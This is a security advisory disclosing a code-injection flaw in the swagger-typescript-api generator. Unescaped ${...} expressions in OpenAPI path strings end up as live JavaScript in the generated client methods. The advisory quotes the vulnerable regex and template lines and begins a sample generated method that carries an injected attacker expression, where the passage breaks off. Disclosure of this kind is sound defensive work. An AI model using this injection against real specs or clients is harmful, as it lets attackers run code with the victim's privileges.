GHSA-w284-33mx-6g9v: swagger-typescript-api vulnerable to code injection via unescaped OpenAPI path strings in generated method bodies

Summary swagger-typescript-api interpolates OpenAPI path strings (the keys of the paths object, e.g. /users/{id}) directly into a JavaScript template literal inside the body of every generated API method, without escaping. A spec path containing ${ … } survives parseRouteName's {x} / :x rewriter verbatim and lands as live JS-template-literal interpolation inside the generated path: \...\ line. Any consumer who calls the affected generated method evaluates the attacker's expression with full importer privileges — file read/write, exfiltration, etc. The attacker controls the OpenAPI spec (remote URL, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and uses the resulting client. Details parseRouteName (src/schema-routes/schema-routes.ts:147-189) preprocesses spec paths by rewriting {x} and :x path-parameter patterns into ${x} JS template-literal interpolations: const pathParamMatches = (routeName || "").match( /({[\w[\\\]^][-_.\w]*})|(:[\w[\\\]^][-_.\w]*:?)/g, ); // ... return fixedRoute.replace(pathParam.$match, \${${insertion}}); The regex only matches { followed by word characters (and a closing }), or : followed by word characters. It does not strip backticks, ${, or backslashes. A spec path containing ${ ATTACKER_EXPRESSION } survives unchanged. The resulting fixedRoute is passed to the procedure-call template at templates/default/procedure-call.ejs:96 (and the corresponding templates/modular/procedure-call.ejs:96): path: <%~ path %>, The <%~ %> is Eta's raw, unescaped interpolation. The surrounding backticks make this a JavaScript template literal in the generated source. Anything resembling ${…} inside the path becomes a live JS expression evaluated when the method's path template is evaluated — i.e. at every call to the affected method. Generated method body for a malicious spec path: evilCall: (params: RequestParams = {}) => this.request<void, any>({ path: `/api/${(async () => { // ATTACKER CODE EVALUATED H